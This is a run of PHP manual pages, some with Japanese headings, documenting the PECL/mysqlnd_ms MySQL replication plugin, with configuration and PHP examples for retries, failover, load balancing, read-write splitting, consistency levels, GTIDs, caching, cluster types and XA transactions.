The automatic retry loop will repeat the requested operation up to a user configurable number of times and pause between the attempts for a configurable amount of time. If the error disappears during the loop, the application will never see it. If not, the error is forwarded to the application for handling.

In the example below a duplicate key error is provoked to make the plugin retry the failing query two times before the error is passed to the application. Between the two attempts the plugin sleeps for 100 milliseconds.

例1 Provoking a transient error

mysqlnd_ms.enable=1
mysqlnd_ms.collect_statistics=1
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.78.136",
                "port": "3306"
            }
       },
       "transient_error": {
          "mysql_error_codes": [
            1062
          ],
          "max_retries": 2,
          "usleep_retry": 100
       }
    }
}

例2 Transient error retry loop

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno())
  /* Of course, your error handling is nicer... */
  die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));

if (!$mysqli->query("DROP TABLE IF EXISTS test") ||
    !$mysqli->query("CREATE TABLE test(id INT PRIMARY KEY)") ||
    !$mysqli->query("INSERT INTO test(id) VALUES (1))")) {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Retry loop is completely transparent. Checking statistics is
 the only way to know about implicit retries */
$stats = mysqlnd_ms_get_stats();
printf("Transient error retries before error: %d\n", $stats['transient_error_retries']);

/* Provoking duplicate key error to see statistics change */
if (!$mysqli->query("INSERT INTO test(id) VALUES (1))")) {
  printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

$stats = mysqlnd_ms_get_stats();
printf("Transient error retries after error: %d\n", $stats['transient_error_retries']);

$mysqli->close();
?>

上の例の出力は、 たとえば以下のようになります。

Transient error retries before error: 0
[1062] Duplicate entry '1' for key 'PRIMARY'
Transient error retries before error: 2

Because the execution of the retry loop is transparent from a users point of view, the example checks the statistics provided by the plugin to learn about it.

As the example shows, the plugin can be instructed to consider any error transient regardless of the database servers error semantics. The only error that a stock MySQL server considers temporary has the error code 1297. When configuring other error codes but 1297 make sure your configuration reflects the semantics of your clusters error codes.

The following mysqlnd C API calls are monitored by the plugin to check
for transient errors: query(),
change_user(), select_db(),
set_charset(), set_server_option()
prepare(), execute(),
set_autocommit(),
tx_begin(), tx_commit(),
tx_rollback(), tx_commit_or_rollback().
The corresponding user API calls have similar names.

The maximum time the plugin may sleep during the retry loop depends on the function in question. The a retry loop for query(), prepare() or execute() will sleep for up to max_retries * usleep_retry milliseconds.

However, functions that control connection state are dispatched to all connections. The retry loop settings are applied to every connection on which the command is to be run. Thus, such a function may interrupt program execution for longer than a function that is run on one server only. For example, set_autocommit() is dispatched to connections and may sleep up to (max_retries * usleep_retry) * number_of_open_connections) milliseconds. Please, keep this in mind when setting long sleep times and large retry numbers. Using the default settings of max_retries=1, usleep_retry=100 and lazy_connections=1 it is unlikely that you will ever see a delay of more than 1 second.

User Contributed Notes

There are no user contributed notes for this page.


Failover

By default, connection failover handling is left to the user. The application is responsible for checking return values of the database functions it calls and reacting to possible errors. If, for example, the plugin recognizes a query as a read-only query to be sent to the slave servers, and the slave server selected by the plugin is not available, the plugin will raise an error after not executing the statement.

Default: manual failover

It is up to the application to handle the error and, if required, re-issue the query to trigger the selection of another slave server for statement execution. The plugin will make no attempts to failover automatically, because the plugin cannot ensure that an automatic failover will not change the state of the connection. For example, the application may have issued a query which depends on SQL user variables which are bound to a specific connection. Such a query might return incorrect results if the plugin would switch the connection implicitly as part of automatic failover. To ensure correct results, the application must take care of the failover, and rebuild the required connection state. Therefore, by default, no automatic failover is performed by the plugin.

A user that does not change the connection state after opening a connection may activate automatic failover. Please note, that automatic failover logic is limited to connection attempts. Automatic failover is not used for already established connections. There is no way to instruct the plugin to attempt failover on a connection that has been connected to MySQL already in the past.

Automatic failover

The failover policy is configured in the plugins configuration file, by using the failover configuration directive.

Automatic and silent failover can be enabled through the failover configuration directive. Automatic failover can either be configured to try exactly one master after a slave failure or, alternatively, loop over slaves and masters before returning an error to the user. The number of connection attempts can be limited and failed hosts can be excluded from future load balancing attempts. Limiting the number of retries and remembering failed hosts are considered experimental features, albeit being reasonable stable. Syntax and semantics may change in future versions.

Please note, since version 1.5.0 automatic failover is disabled for the duration of a transaction if transaction stickiness is enabled and transaction boundaries have been detected. The plugin will not switch connections for the duration of a transaction. It will also not perform automatic and silent failover. Instead an error will be thrown. It is then left to the user to handle the failure of the transaction. Please check, the trx_stickiness documentation how to do this.

A basic manual failover example is provided within the error handling section.

Standby servers

Using weighted load balancing, introduced in PECL/mysqlnd 1.4.0, it is possible to configure standby servers that are sparsely used during normal operations. A standby server that is primarily used as a worst-case standby failover target can be assigned a very low weight/priority in relation to all other servers. As long as all servers are up and running the majority of the workload is assigned to the servers which have hight weight values. Few requests will be directed to the standby system which has a very low weight value.

Upon failure of the servers with a high priority, you can still failover to the standby, which has been given a low load balancing priority by assigning a low weight to it. Failover can be some manually or automatically. If done automatically, you may want to combine it with the remember_failed option.

At this point, it is not possible to instruct the load balancer to direct no requests at all to a standby. This may not be much of a limitation given that the highest weight you can assign to a server is 65535. Given two slaves, of which one shall act as a standby and has been assigned a weight of 1, the standby will have to handle far less than one percent of the overall workload.

Failover and primary copy

Please note, if using a primary copy cluster, such as MySQL Replication, it is difficult to do connection failover in case of a master failure. At any time there is only one master in the cluster for a given dataset. The master is a single point of failure. If the master fails, clients have no target to fail over write requests. In case of a master outage the database administrator must take care of the situation and update the client configurations, if need be.

User Contributed Notes

There are no user contributed notes for this page.


Load balancing

Four load balancing strategies are supported to distribute statements over the configured MySQL slave servers:

random

Chooses a random server whenever a statement is executed.

random once (default)

Chooses a random server after the first statement is executed, and uses the decision for the rest of the PHP request.

It is the default, and the lowest impact on the connection state.

round robin

Iterates over the list of configured servers.

user-defined via callback

Is used to implement any other strategy.

The load balancing policy is configured in the plugins configuration file using the random, roundrobin, and user filters.

Servers can be prioritized assigning a weight. A server that has been given a weight of two will get twice as many requests as a server that has been given the default weight of one. Prioritization can be handy in heterogenous environments. For example, you may want to assign more requests to a powerful machine than to a less powerful. Or, you may have configured servers that are close or far from the client, thus expose different latencies.

User Contributed Notes

There are no user contributed notes for this page.


Read-write splitting

The plugin executes read-only statements on the configured MySQL slaves, and all other queries on the MySQL master. Statements are considered read-only if they either start with SELECT, the SQL hint /*ms=slave*/, or if a slave had been chosen for running the previous query and the query starts with the SQL hint /*ms=last_used*/. In all other cases, the query will be sent to the MySQL replication master server. It is recommended to use the constants MYSQLND_MS_SLAVE_SWITCH, MYSQLND_MS_MASTER_SWITCH and MYSQLND_MS_LAST_USED_SWITCH instead of /*ms=slave*/. See also the list of mysqlnd_ms constants.

SQL hints are a special kind of standard compliant SQL comments. The plugin does check every statement for certain SQL hints. The SQL hints are described within the mysqlnd_ms constants documentation, constants that are exported by the extension. Other systems involved with the statement processing, such as the MySQL server, SQL firewalls, and SQL proxies, are unaffected by the SQL hints, because those systems are designed to ignore SQL comments.

The built-in read-write splitter can be replaced by a user-defined filter, see also the user filter documentation.

A user-defined read-write splitter can request the built-in logic to send a statement to a specific location, by invoking mysqlnd_ms_is_select().

注意:

The built-in read-write splitter is not aware of multi-statements. Multi-statements are seen as one statement. The splitter will check the beginning of the statement to decide where to run the statement. If, for example, a multi-statement begins with SELECT 1 FROM DUAL; INSERT INTO test(id) VALUES (1); ... the plugin will run it on a slave although the statement is not read-only.

User Contributed Notes

There are no user contributed notes for this page.


Filter

注意: Version requirement

Filters exist as of mysqlnd_ms version 1.1.0-beta.

filters. PHP applications that implement a MySQL replication cluster must first identify a group of servers in the cluster which could execute a statement before the statement is executed by one of the candidates. In other words: a defined list of servers must be filtered until only one server is available.

The process of filtering may include using one or more filters, and filters can be chained. And they are executed in the order they are defined in the plugins configuration file.

注意: Explanation: comparing filter chaining to pipes

The concept of chained filters can be compared to using pipes to connect command line utilities on an operating system command shell. For example, an input stream is passed to a processor, filtered, and then transferred to be output. Then, the output is passed as input to the next command, which is connected to the previous using the pipe operator.

Available filters:

  • Load balancing filters: random and roundrobin.
  • Selection filter: user, user_multi, quality_of_service.

The random filter implements the 'random' and 'random once' load balancing policies. The 'round robin' load balancing can be configured through the roundrobin filter. Setting a 'user defined callback' for server selection is possible with the user filter. The quality_of_service filter finds cluster nodes capable of delivering a certain service, for example, read-your-writes or, not lagging more seconds behind the master than allowed.

Filters can accept parameters to change their behavior. The random filter accepts an optional sticky parameter. If set to true, the filter changes load balancing from random to random once. Random picks a random server every time a statement is to be executed. Random once picks a random server when the first statement is to be executed and uses the same server for the rest of the PHP request.

One of the biggest strength of the filter concept is the possibility to chain filters. This strength does not become immediately visible because the random, roundrobin and user filters are supposed to output no more than one server. If a filter reduces the list of candidates for running a statement to only one server, it makes little sense to use that one server as input for another filter for further reduction of the list of candidates.

An example filter sequence that will fail:

  • Statement to be executed: SELECT 1 FROM DUAL. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes:slave_0, slave_1
  • Filter: random, argument sticky=1. Picks a random slave once to be used for the rest of the PHP request. Output: slave_0.
  • Output of slave_0 and the statement to be executed is passed as input to the next filter. Here: roundrobin, server list passed to filter is: slave_0.
  • Filter: roundrobin. Server list consists of one server only, round robin will always return the same server.
If trying to use such a filter sequence, the plugin may emit a warning like (mysqlnd_ms) Error while creating filter '%s' . Non-multi filter '%s' already created. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

A second type of filter exists: multi filter. A multi filter emits zero, one or multiple servers after processing. The quality_of_service filter is an example. If the service quality requested sets an upper limit for the slave lag and more than one slave is lagging behind less than the allowed number of seconds, the filter returns more than one cluster node. A multi filter must be followed by other to further reduce the list of candidates for statement execution until a candidate is found.

A filter sequence with the quality_of_service multi filter followed by a load balancing filter.

  • Statement to be executed: SELECT sum(price) FROM orders WHERE order_id = 1. Passed to all filters.
  • All configured nodes are passed as input to the first filter. Master nodes: master_0. Slave nodes: slave_0, slave_1, slave_2, slave_3
  • Filter: quality_of_service, rule set: session_consistency (read-your-writes) Output: master_0
  • Output of master_0 and the statement to be executed is passed as input to the next filter, which is roundrobin.
  • Filter: roundrobin. Server list consists of one server. Round robin selects master_0.

A filter sequence must not end with a multi filter. If trying to use a filter sequence which ends with a multi filter the plugin may emit a warning like (mysqlnd_ms) Error in configuration. Last filter is multi filter. Needs to be non-multi one. Stopping in %s on line %d. Furthermore, an appropriate error on the connection handle may be set.

注意: Speculation towards the future: MySQL replication filtering

In future versions, there may be additional multi filters. For example, there may be a table filter to support MySQL replication filtering. This would allow you to define rules for which database or table is to be replicated to which node of a replication cluster. Assume your replication cluster consists of four slaves (slave_0, slave_1, slave_2, slave_3) two of which replicate a database named sales (slave_0, slave_1). If the application queries the database slaves, the hypothetical table filter reduces the list of possible servers to slave_0 and slave_1. Because the output and list of candidates consists of more than one server, it is necessary and possible to add additional filters to the candidate list, for example, using a load balancing filter to identify a server for statement execution.

User Contributed Notes

There are no user contributed notes for this page.


Service level and consistency

注意: Version requirement

Service levels have been introduced in mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() requires PHP 5.4.0 or newer.

The plugin can be used with different kinds of MySQL database clusters. Different clusters can deliver different levels of service to applications. The service levels can be grouped by the data consistency levels that can be achieved. The plugin knows about:

  • eventual consistency
  • session consistency
  • strong consistency

Depending how a cluster is used it may be possible to achieve higher service levels than the default one. For example, a read from an asynchronous MySQL replication slave is eventual consistent. Thus, one may say the default consistency level of a MySQL replication cluster is eventual consistency. However, if the master only is used by a client for reading and writing during a session, session consistency (read your writes) is given. PECL mysqlnd 1.2.0 abstracts the details of choosing an appropriate node for any of the above service levels from the user.

Service levels can be set through the qualify-of-service filter in the plugins configuration file and at runtime using the function mysqlnd_ms_set_qos().

The plugin defines the different service levels as follows.

Eventual consistency is the default service provided by an asynchronous cluster, such as classical MySQL replication. A read operation executed on an arbitrary node may or may not return stale data. The applications view of the data is eventual consistent.

Session consistency is given if a client can always read its own writes. An asynchronous MySQL replication cluster can deliver session consistency if clients always use the master after the first write or never query a slave which has not yet replicated the clients write operation.

The plugins understanding of strong consistency is that all clients always see the committed writes of all other clients. This is the default when using MySQL Cluster or any other cluster offering synchronous data distribution.

Service level parameters

Eventual consistency and session consistency service level accept parameters.

Eventual consistency is the service provided by classical MySQL replication. By default, all nodes qualify for read requests. An optional age parameter can be given to filter out nodes which lag more than a certain number of seconds behind the master. The plugin is using SHOW SLAVE STATUS to measure the lag. Please, see the MySQL reference manual to learn about accuracy and reliability of the SHOW SLAVE STATUS command.

Session consistency (read your writes) accepts an optional GTID parameter to consider reading not only from the master but also from slaves which already have replicated a certain write described by its transaction identifier. This way, when using asynchronous MySQL replication, read requests may be load balanced over slaves while still ensuring session consistency.

The latter requires the use of client-side global transaction id injection.

Advantages of the new approach

The new approach supersedes the use of SQL hints and the configuration option master_on_write in some respects. If an application running on top of an asynchronous MySQL replication cluster cannot accept stale data for certain reads, it is easier to tell the plugin to choose appropriate nodes than prefixing all read statements in question with the SQL hint to enforce the use of the master. Furthermore, the plugin may be able to use selected slaves for reading.

The master_on_write configuration option makes the plugin use the master after the first write (session consistency, read your writes). In some cases, session consistency may not be needed for the rest of the session but only for some, few read operations. Thus, master_on_write may result in more read load on the master than necessary. In those cases it is better to request a higher than default service level only for those reads that actually need it. Once the reads are done, the application can return to default service level. Switching between service levels is only possible using mysqlnd_ms_set_qos().

Performance considerations

A MySQL replication cluster cannot tell clients which slaves are capable of delivering which level of service. Thus, in some cases, clients need to query the slaves to check their status. PECL mysqlnd_ms transparently runs the necessary SQL in the background. However, this is an expensive and slow operation. SQL statements are run if eventual consistency is combined with an age (slave lag) limit and if session consistency is combined with a global transaction ID.

If eventual consistency is combined with an maximum age (slave lag), the plugin selects candidates for statement execution and load balancing for each statement as follows. If the statement is a write all masters are considered as candidates. Slaves are not checked and not considered as candidates. If the statement is a read, the plugin transparently executes SHOW SLAVE STATUS on every slaves connection. It will loop over all connections, send the statement and then start checking for results. Usually, this is slightly faster than a loop over all connections in which for every connection a query is send and the plugin waits for its results. A slave is considered a candidate if SHOW SLAVE STATUS reports Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master is less or equal than the allowed maximum age. In case of an SQL error, the plugin emits a warning but does not set an error on the connection. The error is not set to make it possible to use the plugin as a drop-in.

If session consistency is combined with a global transaction ID, the plugin executes the SQL statement set with the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. Further details are identical to those described above.

In version 1.2.0 no additional optimizations are done for executing background queries. Future versions may contain optimizations, depending on user demand.

If no parameters and options are set, no SQL is needed. In that case, the plugin consider all nodes of the type shown below.

  • eventual consistency, no further options set: all masters, all slaves
  • session consistency, no further options set: all masters
  • strong consistency (no options allowed): all masters

Throttling

The quality of service filter can be combined with Global transaction IDs to throttle clients. Throttling does reduce the write load on the master by slowing down clients. If session consistency is requested and global transactions identifier are used to check the status of a slave, the check can be done in two ways. By default a slave is checked and skipped immediately if it does not match the criteria for session consistency. Alternatively, the plugin can wait for a slave to catch up to the master until session consistency is possible. To enable the throttling, you have to set wait_for_gtid_timeout configuration option.

User Contributed Notes

There are no user contributed notes for this page.


Global transaction IDs

注意: Version requirement

Client side global transaction ID injection exists as of mysqlnd_ms version 1.2.0-alpha. Transaction boundaries are detected by monitoring API calls. This is possible as of PHP 5.4.0. Please, see also Transaction handling.

As of MySQL 5.6.5-m8 the MySQL server features built-in global transaction identifiers. The MySQL built-in global transaction ID feature is supported by PECL/mysqlnd_ms 1.3.0-alpha or later. Neither are client-side transaction boundary monitoring nor any setup activities required if using the server feature.

Please note, all MySQL 5.6 production versions do not provide clients with enough information to use GTIDs for enforcing session consistency. In the worst case, the plugin will choose the master only.

Idea and client-side emulation

PECL/mysqlnd_ms can do client-side transparent global transaction ID injection. In its most basic form, a global transaction identifier is a counter which is incremented for every transaction executed on the master. The counter is held in a table on the master. Slaves replicate the counter table.

In case of a master failure a database administrator can easily identify the most recent slave for promoting it as a new master. The most recent slave has the highest transaction identifier.

Application developers can ask the plugin for the global transaction identifier (GTID) for their last successful write operation. The plugin will return an identifier that refers to an transaction no older than that of the clients last write operation. Then, the GTID can be passed as a parameter to the quality of service (QoS) filter as an option for session consistency. Session consistency ensures read your writes. The filter ensures that all reads are either directed to a master or a slave which has replicated the write referenced by the GTID.

When injection is done

The plugin transparently maintains the GTID table on the master. In autocommit mode the plugin injects an UPDATE statement before executing the users statement for every master use. In manual transaction mode, the injection is done before the application calls commit() to close a transaction. The configuration option report_error of the GTID section in the plugins configuration file is used to control whether a failed injection shall abort the current operation or be ignored silently (default).

Please note, the PHP version requirements for transaction boundary monitoring and their limits.

Limitations

Client-side global transaction ID injection has shortcomings. The potential issues are not specific to PECL/mysqlnd_ms but are rather of general nature.

  • Global transaction ID tables must be deployed on all masters and replicas.
  • The GTID can have holes. Only PHP clients using the plugin will maintain the table. Other clients will not.
  • Client-side transaction boundary detection is based on API calls only.
  • Client-side transaction boundary detection does not take implicit commit into account. Some MySQL SQL statements cause an implicit commit and cannot be rolled back.

Using server-side global transaction identifier

Starting with PECL/mysqlnd_ms 1.3.0-alpha the MySQL 5.6.5-m8 or newer built-in global transaction identifier feature is supported. Use of the server feature lifts all of the above listed limitations. Please, see the MySQL Reference Manual for limitations and preconditions for using server built-in global transaction identifiers.

Whether to use the client-side emulation or the server built-in functionality is a question not directly related to the plugin, thus it is not discussed in depth. There are no plans to remove the client-side emulation and you can continue to use it, if the server-side solution is no option. This may be the case in heterogenous environments with old MySQL server or, if any of the server-side solution limitations is not acceptable.

From an applications perspective there is hardly a difference in using one or the other approach. The following properties differ.

  • Client-side emulation, as shown in the manual, is using an easy to compare sequence number for global transactions. Multi-master is not handled to keep the manual examples easy. Server-side built-in feature is using a combination of a server identifier and a sequence number as a global transaction identifier. Comparison cannot use numeric algebra. Instead a SQL function must be used. Please, see the MySQL Reference Manual for details. Server-side built-in feature of MySQL 5.6 cannot be used to ensure session consistency under all circumstances. Do not use it for the quality-of-service feature. Here is a simple example why it will not give reliable results. There are more edge cases that cannot be covered with limited functionality exported by the server. Currently, clients can ask a MySQL replication master for a list of all executed global transaction IDs only. If a slave is configured not to replicate all transactions, for example, because replication filters are set, then the slave will never show the same set of executed global transaction IDs. Albeit the slave may have replicated a clients writes and it may be a candidate for a consistent read, it will never be considered by the plugin. Upon write the plugin learns from the master that the servers complete transaction history consists of GTID=1..3. There is no way for the plugin to ask for the GTID of the write transaction itself, say GTID=3. Assume that a slave does not replicate the transactions GTID=1..2 but only GTID=3 because of a replication feature. Then, the slaves transaction history is GTID=3. However, the plugin tries to find a node which has a transaction history of GITD=1...3. Albeit the slave has replicated the clients write and session consistency may be achieved when reading from the slave, it will not be considered by the plugin. This is not a fault of the plugin implementation but a feature gap on the server side. Please note, this is a trivial case to illustrate the issue there are other issues. In sum you are asked not to attempt using MySQL 5.6 built-in GTIDs for enforcing session consistency. Sooner or later the load balancing will stop working properly and the plugin will direct all session consistency requests to the master.
  • Plugin global transaction ID statistics are only available with client-side emulation because they monitor the emulation.

注意: Global transaction identifiers in distributed systems

Global transaction identifiers can serve multiple purposes in the context of distributed systems, such as a database cluster. Global transaction identifiers can be used for, for example, system wide identification of transactions, global ordering of transactions, heartbeat mechanism and for checking the replication status of replicas. PECL/mysqlnd_ms, a clientside driver based software, does focus on using GTIDs for tasks that can be handled at the client, such as checking the replication status of replicas for asynchronous replication setups.

User Contributed Notes

There are no user contributed notes for this page.


Cache integration

注意: Version requirement

The feature requires use of PECL/mysqlnd_ms 1.3.0-beta or later, and PECL/mysqlnd_qc 1.1.0-alpha or newer. PECL/mysqlnd_ms must be compiled to support the feature. PHP 5.4.0 or newer is required.

注意: Setup: extension load order

PECL/mysqlnd_ms must be loaded before PECL/mysqlnd_qc, when using shared extensions.

注意: Feature stability

The cache integration is of beta quality.

注意: Suitable MySQL clusters

The feature is targeted for use with MySQL Replication (primary copy). Currently, no other kinds of MySQL clusters are supported. Users of such cluster must control PECL/mysqlnd_qc manually if they are interested in client-side query caching.

Support for MySQL replication clusters (asynchronous primary copy) is the main focus of PECL/mysqlnd_ms. The slaves of a MySQL replication cluster may or may not reflect the latest updates from the master. Slaves are asynchronous and can lag behind the master. A read from a slave is eventual consistent from a cluster-wide perspective.

The same level of consistency is offered by a local cache using time-to-live (TTL) invalidation strategy. Current data or stale data may be served. Eventually, data searched for in the cache is not available and the source of the cache needs to be accessed.

Given that both a MySQL Replication slave (asynchronous secondary) and a local TTL-driven cache deliver the same level of service it is possible to transparently replace a remote database access with a local cache access to gain better possibility.

As of PECL/mysqlnd_ms 1.3.0-beta the plugin is capable of transparently controlling PECL/mysqlnd_ms 1.1.0-alpha or newer to cache a read-only query if explicitly allowed by setting an appropriate quality of service through mysqlnd_ms_set_qos(). P lease, see the quickstart for a code example. Both plugins must be installed, PECL/mysqlnd_ms must be compiled to support the cache feature and PHP 5.4.0 or newer has to be used.

Applications have full control of cache usage and can request fresh data at any time, if need be. The cache usage can be enabled and disabled time during the execution of a script. The cache will be used if mysqlnd_ms_set_qos() sets the quality of service to eventual consistency and enables cache usage. Cache usage is disabled by requesting higher consistency levels, for example, session consistency (read your writes). Once the quality of service has been relaxed to eventual consistency the cache can be used again.

If caching is enabled for a read-only statement, PECL/mysqlnd_ms may inject SQL hints to control caching by PECL/mysqlnd_qc. It may modify the SQL statement it got from the application. Subsequent SQL processors are supposed to ignore the SQL hints. A SQL hint is a SQL comment. Comments must not be ignored, for example, by the database server.

The TTL of a cache entry is computed on a per statement basis. Applications set an maximum age for the data they want to retrieve using mysqlnd_ms_set_qos(). The age sets an approximate upper limit of how many seconds the data returned may lag behind the master.

The following logic is used to compute the actual TTL if caching is enabled. The logic takes the estimated slave lag into account for choosing a TTL. If, for example, there are two slaves lagging 5 and 10 seconds behind and the maximum age allowed is 60 seconds, the TTL is set to 50 seconds. Please note, the age setting is no more than an estimated guess.

  • Check whether the statement is read-only. If not, don't cache.
  • If caching is enabled, check the slave lag of all configured slaves. Establish slave connections if none exist so far and lazy connections are used.
  • Send SHOW SLAVE STATUS to all slaves. Do not wait for the first slave to reply before sending to the second slave. Clients often wait long for replies, thus we send out all requests in a burst before fetching in a second stage.
  • Loop over all slaves. For every slave wait for its reply. Do not start checking another slave before the currently waited for slave has replied. Check for Slave_IO_Running=Yes and Slave_SQL_Running=Yes. If both conditions hold true, fetch the value of Seconds_Behind_Master. In case of any errors or if conditions fail, set an error on the slave connection. Skip any such slave connection for the rest of connection filtering.
  • Search for the maximum value of Seconds_Behind_Master from all slaves that passed the previous conditions. Subtract the value from the maximum age provided by the user with mysqlnd_ms_set_qos(). Use the result as a TTL.
  • The filtering may sort out all slaves. If so, the maximum age is used as TTL, because the maximum lag found equals zero. It is perfectly valid to sort out all slaves. In the following it is up to subsequent filter to decide what to do. The built-in load balancing filter will pick the master.
  • Inject the appropriate SQL hints to enable caching by PECL/mysqlnd_qc.
  • Proceed with the connection filtering, e.g. apply load balancing rules to pick a slave.
  • PECL/mysqlnd_qc is loaded after PECL/mysqlnd_ms by PHP. Thus, it will see all query modifications of PECL/mysqlnd_ms and cache the query if instructed to do so.

The algorithm may seem expensive. SHOW SLAVE STATUS is a very fast operation. Given a sufficient number of requests and cache hits per second the cost of checking the slaves lag can easily outweigh the costs of the cache decision.

Suggestions on a better algorithm are always welcome.

User Contributed Notes

There are no user contributed notes for this page.


Supported clusters

Any application using any kind of MySQL cluster is faced with the same tasks:

  • Identify nodes capable of executing a given statement with the required service level
  • Load balance requests within the list of candidates
  • Automatic fail over within candidates, if needed

The plugin is optimized for fulfilling these tasks in the context of a classical asynchronous MySQL replication cluster consisting of a single master and many slaves (primary copy). When using classical, asynchronous MySQL replication all of the above listed tasks need to be mastered at the client side.

Other types of MySQL cluster may have lower requirements on the application side. For example, if all nodes in the cluster can answer read and write requests, no read-write splitting needs to be done (multi-master, update-all). If all nodes in the cluster are synchronous, they automatically provide the highest possible quality of service which makes choosing a node easier. In this case, the plugin may serve the application after some reconfiguration to disable certain features, such as built-in read-write splitting.

注意: Documentation focus

The documentation focusses describing the use of the plugin with classical asynchronous MySQL replication clusters (primary copy). Support for this kind of cluster has been the original development goal. Use of other clusters is briefly described below. Please note, that this is still work in progress.

Primary copy (MySQL Replication)

This is the primary use case of the plugin. Follow the hints given in the descriptions of each feature.

  • Configure one master and one or more slaves. Server configuration details are given in the setup section.
  • Use random load balancing policy together with the sticky flag.
  • If you do not plan to use the service level API calls, add the master on write flag.
  • Please, make yourself aware of the properties of automatic failover before adding a failover directive.
  • Consider the use of trx_stickiness to execute transactions on the primary only. Please, read carefully how it works before you rely on it.

例1 Enabling the plugin (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini

例2 Basic plugin configuration (mysqlnd_ms_plugin.ini) for MySQL Replication

{
  "myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      }
    },
    "slave": {
      "slave_0": {
        "host": "127.0.0.1",
        "port": 3308
      },
      "slave_1": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "filters": {
      "random": {
        "sticky": "1"
      }
    }
  }
}

Primary copy with multi primaries (MMM - MySQL Multi Master)

MySQL Replication allows you to create cluster topologies with multiple masters (primaries). Write-write conflicts are not handled by the replication system. This is no update anywhere setup. Thus, data must be partitioned manually and clients must redirected in accordance to the partitioning rules. The recommended setup is equal to the sharding setup below.

Manual sharding, possibly combined with primary copy and multiple primaries

Use SQL hints and the node group filter for clusters that use data partitioning but leave query redirection to the client. The example configuration shows a multi master setup with two shards.

例3 Multiple primaries - multi master (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini
mysqlnd_ms.multi_master=1

例4 Primary copy with multiple primaries and paritioning

{
  "myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      }
      "master_2": {
        "host": "192.168.2.27",
        "socket": "3306"
      }
    },
    "slave": {
      "slave_1": {
        "host": "127.0.0.1",
        "port": 3308
      },
      "slave_2": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "filters": {
      "node_groups": {
        "Partition_A" : {
          "master": ["master_1"],
          "slave": ["slave_1"]
        },
        "Partition_B" : {
          "master": ["master_2"],
          "slave": ["slave_2"]
        }
      },
      "roundrobin": []
    }
  }
}

The plugin can also be used with a loose collection of unrelated shards. For such a cluster, configure masters only and disable read write splitting. The nodes of such a cluster are called masters in the plugin configuration as they accept both reads and writes for their partition.

Using synchronous update everywhere clusters such as MySQL Cluster

MySQL Cluster is a synchronous cluster solution. All cluster nodes accept read and write requests. In the context of the plugin, all nodes shall be considered as masters.

Use the load balancing and fail over features only.

  • Disable the plugins built-in read-write splitting.
  • Configure masters only.
  • Consider random once load balancing strategy, which is the plugins default. If random once is used, only masters are configured and no SQL hints are used to force using a certain node, no connection switches will happen for the duration of a web request. Thus, no special handling is required for transactions. The plugin will pick one master at the beginning of the PHP script and use it until the script terminates.
  • Do not set the quality of service. All nodes have all the data. This automatically gives you the highest possible service quality (strong consistency).
  • Do not enable client-side global transaction injection. It is neither required to help with server-side fail over nor to assist the quality of service filter choosing an appropriate node.

Disabling built-in read-write splitting.

  • Set mysqlnd_ms.disable_rw_split=1
  • Do not use SQL hints to enforce the use of slaves

Configure masters only.

  • Set mysqlnd_ms.multi_master=1.
  • Do not configure any slaves.
  • Set failover=loop_before_master in the plugins configuration file to avoid warnings about the empty slave list and to make the failover logic loop over all configured masters before emitting an error. Please, note the warnings about automatic failover given in the previous sections.

例5 Multiple primaries - multi master (php.ini)

mysqlnd_ms.enable=1
mysqlnd_ms.config_file=/path/to/mysqlnd_ms_plugin.ini
mysqlnd_ms.multi_master=1
mysqlnd_ms.disable_rw_split=1

例6 Synchronous update anywhere cluster

"myapp": {
    "master": {
      "master_1": {
        "host": "localhost",
        "socket": "\/tmp\/mysql57.sock"
      },
      "master_2": {
        "host": "192.168.2.28",
        "port": 3306
      }
    },
    "slave": {
    },
    "filters": {
      "roundrobin": {
      }
    },
    "failover": {
      "strategy": "loop_before_master",
      "remember_failed": true
    }
  }
}

If running an update everywhere cluster that has no built-in partitioning to avoid hot spots and high collision rates, consider using the node groups filter to keep updates on a frequently accessed table on one of the nodes. This may help to reduce collision rates and thus improve performance.

User Contributed Notes

There are no user contributed notes for this page.


XA/Distributed transactions

注意: Version requirement

XA related functions have been introduced in PECL/mysqlnd_ms version 1.6.0-alpha.

注意: Early adaptors wanted

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments, although early lab tests indicate reasonable quality.

Please, contact the development team if you are interested in this feature. We are looking for real life feedback to complement the feature.

Below is a list of some feature restrictions.

  • The feature is not yet compatible with the MySQL Fabric support . This limitation is soon to be lifted.

    XA transaction identifier are currently restricted to numbers. This limitation will be lifted upon request, it is a simplification used during the initial implementation.

注意: MySQL server restrictions

The XA support by the MySQL server has some restrictions. Most noteably, the servers binary log may lack changes made by XA transactions in case of certain errors. Please, see the MySQL manual for details.

XA/Distributed transactions can spawn multiple MySQL servers. Thus, they may seem like a perfect tool for sharded MySQL clusters, for example, clusters managed with MySQL Fabric. PECL/mysqlnd_ms hides most of the SQL commands to control XA transactions and performs automatic administrative tasks in cases of errors, to provide the user with a comprehensive API. Users should setup the plugin carefully and be well aware of server restrictions prior to using the feature.

例1 General pattern for XA transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");

/* BEGIN */
mysqlnd_ms_xa_begin($mysqli, 1 /* xa id */);

/* run queries on various servers */
$mysqli->query("UPDATE some_table SET col_a = 1");
...

/* COMMIT */
mysqlnd_ms_xa_commit($link, 1);
?>

